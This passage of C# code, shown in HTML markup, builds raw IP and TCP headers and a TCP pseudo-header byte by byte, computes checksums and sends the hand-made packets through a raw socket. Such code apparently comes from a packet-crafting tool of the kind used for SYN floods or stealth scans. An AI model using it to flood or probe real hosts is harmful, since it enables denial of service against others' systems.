ipto(iph, ip_buf, Marshal.SizeOf(iph));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (index == -1)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;father.errMsg = &quot;ERR ip&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] iptcp = new byte[Marshal.SizeOf(iph) + Marshal.SizeOf(tch)];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += ip_buf.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += tch_buf.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;iph.ip_checksum = chec(iptcp, index);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//index = ipto(iph, ip_buf, sizeof(tcpHeader));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = ipto(iph, ip_buf, Marshal.SizeOf(tch));</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (index == -1)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;father.errMsg = &quot;ERR ip&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += ip_buf.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += tch_buf.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (iptcp.Length != (Marshal.SizeOf(iph) + Marshal.SizeOf(tch)))</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;father.errMsg = &quot;ERR iptcp&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//socket.sendto</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sock.SendTo(iptcp, ep);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;catch</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;father.errMsg = &quot;ERR socket&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public UInt16 chec(byte[] buffer, int size)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Double double_length = Convert.ToDouble(size);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Double dtemp = Math.Ceiling(double_length / 2);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int cksum_buffer_length = Convert.ToInt32(dtemp);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int icmp_header_buffer_index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for (int i = 0; i &#60; cksum_buffer_length; i++)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cksum_buffer[i] =</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BitConverter.ToUInt16(buffer, icmp_header_buffer_index);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;icmp_header_buffer_index += 2;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return u_cksum;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public Int32 ipto(ipHeader iph, byte[] Buffer, int size)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Int32 rtn = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_verlen = new byte[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_verlen[0] = iph.ip_verlen;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tos = new byte[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_tos[0] = iph.ip_tos;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_id = BitConverter.GetBytes(iph.ip_id);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_ttl = new byte[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_ttl[0] = iph.ip_ttl;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_protol = new byte[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_protol[0] = iph.ip_protocol;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_verlen.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tos.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_totallen.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_id, 0, Buffer, index, b_id.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_id.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_offset.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_ttl.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_protol.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_checksum.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_srcaddr.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_destaddr.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (index != size/* sizeof(IcmpPacket) &nbsp;*/)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rtn = -1;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return rtn;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rtn = index;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return rtn;</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public Int32 pshto(psdHeader psh, byte[] buffer, int size)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Int32 rtn;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_psh_mbz = new byte[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_psh_mbz[0] = psh.mbz;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_psh_ptcl = new byte[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_psh_ptcl[0] = psh.ptcl;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_psh_saddr.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_psh_daddr.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_psh_mbz.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_psh_ptcl.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_psh_tcpl.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (index != size)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rtn = -1;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return rtn;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rtn = index;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return rtn;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public Int32 tchto(tcpHeader tch, byte[] buffer, int size)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Int32 rtn;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int index = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_lenres = new byte[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_tch_lenres[0] = tch.th_lenres;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_flag = new byte[1];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;b_tch_flag[0] = tch.th_flag;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_sport.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_dport.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_seq.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_ack.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_lenres.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_flag.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_win.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_sum.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;index += b_tch_urp.Length;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (index != size)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rtn = -1;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return rtn;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; 